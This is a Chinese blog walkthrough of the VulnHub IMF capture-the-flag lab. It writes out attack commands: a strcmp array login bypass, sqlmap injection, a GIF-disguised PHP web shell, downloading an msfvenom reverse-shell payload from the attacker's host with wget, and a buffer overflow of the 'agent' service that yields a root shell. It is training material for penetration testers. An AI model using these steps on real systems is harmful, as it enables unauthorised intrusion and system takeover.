18年毕业,目前某安全公司PM搬砖,但依然钟情于渗透,希望能通过学习不断提高自己的技术。因为一开始研究的是渗透,但还是太菜。大佬师傅当小说看就好。
目前实战操作来源vunlhub及handthebox,均须爬楼,我是自己搭的楼梯。Guge和油管以及推特都是很好的平台,油管上太多牛逼的人。。。
CTF也会偶尔看,如果有师傅带着玩和打比赛,愿意跟着搬砖打杂。。
靶机下载地址:https://download.vulnhub.com/imf/IMF.ova
主要知识点:常规的CTF找flag、制作图片木马、溢出漏洞、提权。
靶机下载后vmware打开,Kalior parrot(UI很棒,工具很全)
同一内网arp-scan–l、Netdiscover、Nmap都可以扫描到靶机地址。。但实际内网渗透,肯定没这么简单。
Nmap-sV -p 1-10000 ip
Nmap-A -v -T4 ip
Nmap后面的参数可以有很多,也可以接脚本,用法太多了。
实战应该用不到-A,一般以-sS,半扫描方式,不会轻易被发现,但靶机可以随便搞。
Nmap扫描只有80端口apache
然后可以进行跑目录,看有没有敏感的目录,比如上传点,比如后台登陆。
网站需要进行简单信息收集,但靶机并没有那么多信息可以用,所以浏览网站,某些页面可能会有框架信息,cms信息,然后可以去查漏洞。
网页如果有留言、搜索框,也会想到xss,sql注入等,靶机一般都会提示。
比如conctacus 下面可以看到联系人,可能就是有价值的用户名。
如果网站有留言有信息,也可以进行社工创造字典,用crew和john配合用户名爆破等等。
跑目录可以用dirbuster,gobuster,也可以用脚本工具dirsearch
访问contactus及源码,得到flag1:YWxsdGhlZmlsZXM=
Base64解码得到allthefiles
解码方式太多了,网站在线解密、工具解密或者直接命令解密:
echo'密文'|base64 -d
继续观察页面源码,其实常规CTF思路到处点 看F12和看看源码。。
发现js文件有些端倪
拼接前缀得到base64解码
echo'ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==' |base64 -dflag2{aW1mYWRtaW5pc3RyYXRvcg==}
再次解码得到:Flag3:{Imfadministrator}
并不知道是什么。。。试了一会,发现可以访问http://ip/imfadministrator/之前跑目录是没有的,出现登陆页面
第一反应是爆破,第二反应是注入手工orsqlmap,可惜搞不出来。
之前contactus页面里有用户名,三个其中之一,我用的Rmichaels
然后又查看源码后,发现提示
估计是使用strcmp之类的来判断密码的。当strcmp的两个字符串参数相等的时候会返回0,但如果把string和array相比较的话,strcmp也会返回0。
PHP会将此字段解释为数组,而不是字符串。这有时可能会混淆验证甚至字符串检查,如果其中一个输入是数组,strcmp则会返回NULL。
F12修改,将源码里的<inputname="pass" value="" type="password">修改成<inputname="pass[]" value=""type="password">,使pass参数变成array数组。用户名用之前页面里的Rmichaels,密码任意。登陆提交后发现flag3,base64解码后得到提示:continueTOcms,点击cms如下:
Cms页面链接点啊点,没用,源码也没有提示信息,只能看url
php?pagname=
试了试1’和../../../../../../../etc/passwd
有错误回显,貌似有注入点,本人比较菜,放弃手工
复制cookie信息然后使用sqlmap测试,
Sqlmap-u “http://ip/”--cookie=”” --dump –batch
Sqlmap-hh 可以看参数,如果post注入,需要body信息,确定是-rtxt 还是–data=“name=value”,这里是get注入。
有东西,可以看到库名admin,表名pages被爆了出来。只有tutorials-incomplete不曾出现在cms里,访问发现一张带有二维码的图片,可以用下面网站解码https://zxing.org/w/decode.jspx或者直接微信扫一扫。。。
获得flag4{dXBsb2Fkcjk0Mi5waHA=},解码后得到提示:uploadr942.php
Php文件名称,很兴奋。访问/imfadministrator/uploadr942.php就更开心了,得到上传点:
接下来的思维,就太多了,上传的姿势太多了,基本是上传马,连接,得shell,提权。
小马拉大马,得shell,或者数据库提权等。
上传的要点是上传的文件路径,文件名,有的可以写进日志里。回归正题。尝试上传php,挡掉,发现图片格式可以,制作图片木马。Jpg上传,发现,上传成功后,看源码有生成的文件名,当然真实的不可能暴漏出来,那太傻了,但这种随机生成文件名的方法,是防御的方式之一。
echo'FFD8FFEo' | xxd -r -p > test.jpg
echo'<?php phpinfo(); ?>' >> test.jpg
跑目录可得/uploads路径
Curl-v “http://ip/imfadministrator/uploads/文件名.jpg
(Curl是很机灵的工具。。嗯也很实用的。。)发现没有反应,再传gif发现就可以执行,于是写出如下再上传:
echo'FFD8FFEo' | xxd -r -p > test.gif
echo'<?php echo `id`; ?>' >> test.gif再然后
echo‘FFD8FFEo’| xxd -r -p >text.gif
echo‘<?php $c_GET[‘c’]; echo `$c`; ?>’>>test.gif
注意echo后是``。可以学一下php基础,类c语言,还是比较容易上手。
c=ls可得flag5解码得agentservices,貌似是一个服务,先记下。
之所以能gif执行php应该是.htaccess文件中写入了.php.gif。
.htaccess是apache的分布式配置文件,总是被玩坏,解析漏洞如果配置错误,非常不安全。
之后就是拿shell了,Wget攻击机的多功能的php,攻击机开一个apache
Systemctlstart apache2.service
这里用到msf生成木马,并接收shell。因为可能后面要传文件,这种的得到shell,传文件一度困扰我。。。ssh连接上可以用scp
meterpreter,有download,upload。。。
msfvenom-p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf >/var/www/html/hack
在攻击机的网站目录下文件名为hack的木马并开启apache服务。
然后url里可以赋予c不同参数命令,将生成的木马php下到靶机,触发并反弹shell
c=wget+“http://攻击机ip/hack”
c=chmod+777+hack赋予执行权限。
c=./hack执行。
Msf里:
useexploit/multi/handler
Setpayloads linux/x86/meterpreter/reverse_tcp
Setlhsot
Run得到shell
其实这里的shell权限还是挺大,如果遇到限制的shell,如何绕过有限制shell,自行搜索。
接下来就是提权了,关于提权的姿势太多了,推荐一本书吧,《网络攻防实战研究:漏洞与提权》是18年的新书,小兵师傅的宝典。一旦得到shell,linux的话,看进程端口,翻目录,找找有用的信息。/etc/passwd,万一有权限可以替换密码,定时任务提权,脚本提权。这里用到的是缓冲区溢出,关于堆栈溢出,关于寄存器,能学到很多东西。首先Flag5 提示agent服务,也看了进程,发现有个knock进程。
关于knock进程:knock是一个端口敲服务器。它侦听以太网(或PPP)接口上的所有流量,寻找端口命中的特殊“敲门”序列。客户端通过将TCP(或UDP)数据包发送到服务器上的端口来进行这些端口命中。这个端口不需要打开-因为knockd在链路层级别监听,它会查看所有流量,即使它的目的地是封闭端口。当服务器检测到特定的端口命中序列时,它会运行在其配置文件中定义的命令。这可用于在防火墙中打开孔以便快速访问。
也找一下agent服务,输入 whereisagent 得到结果:agent:/usr/local/bin/agent
进入/usr/local/bin/目录发现还有一个叫access_codes的文件,打开后显示:
SYN7482,8279,9467
SYN,不知道的了解一下三次握手,tcp连接等等。
于是用nmap扫一下,再全扫一边,发现7788端口打开。真的是“knock“一下
发现是agent程序。关于获得agent的id方法有两种,一个是Meterperterdownload下来在本地做测试;一个是shell里运行ltraceagent。
关于itrace的介绍:https://linux.die.net/man/1/ltrace
数据包访问AgentID是”’48093572”’,输入正确ID后出现选项:
缓冲区溢出7788端口的agent程序。
有两个工具gdb和图形化edb。关于gdb,结尾会贴另一个大佬的写的文章,入门溢出。Meterperterdownload 下来
这里我用了kali,因为溢出部分是后来做的,换了电脑,parrot在移动过程中,没启动起来。。。测试:edb--run agent也可以运行agent,在edb内搜索
2
运行agent后,输入id,先选择3.submitreport进行测试:
溢出的关键是找到溢出的地址,貌似叫,栈堆基址。使用一个名为pattern_create的方便的Kali工具,生成特殊字符,测试。
运行/usr/share/metasploit-framework/tools/exploit/pattern_create.rb-l 1024来获取1024个测试字符,然后将字符复制到agent里。pattern_offset配套使用。
/usr/share/metasploit-­‐framework/tools/pattern_offset.rb-q 41366641
[*]Exact match at offset 168
发现程序在第168个字符处溢出,同时运行之后,发现程序崩溃
猜想选择的值成功覆盖EIP
A* 168(估计是EIP的位置)
B* 4(认为是EIP)
C* 500(可以转储shell代码的EIP之后的空格)。
再生成A168+B4+C*1000的字符继续测试
python-c'print“A”* 168 +“B”* 4 +“C”* 500'
python可以在反弹shell中建立新的终端,也可以起一个简单的http服务,用处太多了。
(在edb内,可以搜索操作码(插件>OpCodeSearcher>操作码搜索)。在这里我们可以看到E(R)AX- > E(R)IP包含对E(RAX)的调用。)42是B的十六进制
MSFVenom提供-b开关。这是为了消除无用的字符。在这个例子中,删除了空字节0x00,因为它通常都会终止一个字符串。x0a是换行符,x0d是回车符,所以这两者都相当于命中返回,出现在shellcode的中间,就over了。。。
msfvenom-p linux/x86/shell_reverse_tcp LHOST=192.168.190.1 LPORT=6666 -fpython -b "\x00\x0a\x0d" > imf.py
之前的agentID被硬编码,在exp中别忘了48093572。编写exp:
执行脚本,nc-nlvp 你设置的端口,然后执行如下,有shell回弹,root权限。
所以最后一个标志是flag6{R2gwc3RQcm90MGMwbHM=},解码为Gh0stProt0c0ls。
关于最后的溢出,我接触的很少,也在学习,可能写的很烂,给出的exp有可能复现不了,或者提权成功,我也试了很多。。。具体的溢出入门学习可参考文章 https://www.anquanke.com/post/id/169554#h3-10
我觉得渗透的思路是很重要的,然后不会的就多搜索,多记录。以后会整理handthebox或者其他渗透靶机,随缘更新。欢迎一起学习交流。感谢阅读。
相关操作学习
VulnHub渗透测试实战:通过VulnHub靶机练习,获得渗透测试相关的实战经验。
注:如果学习实验合氏币不足,扫描下面二维码可领取 30 合氏币哦!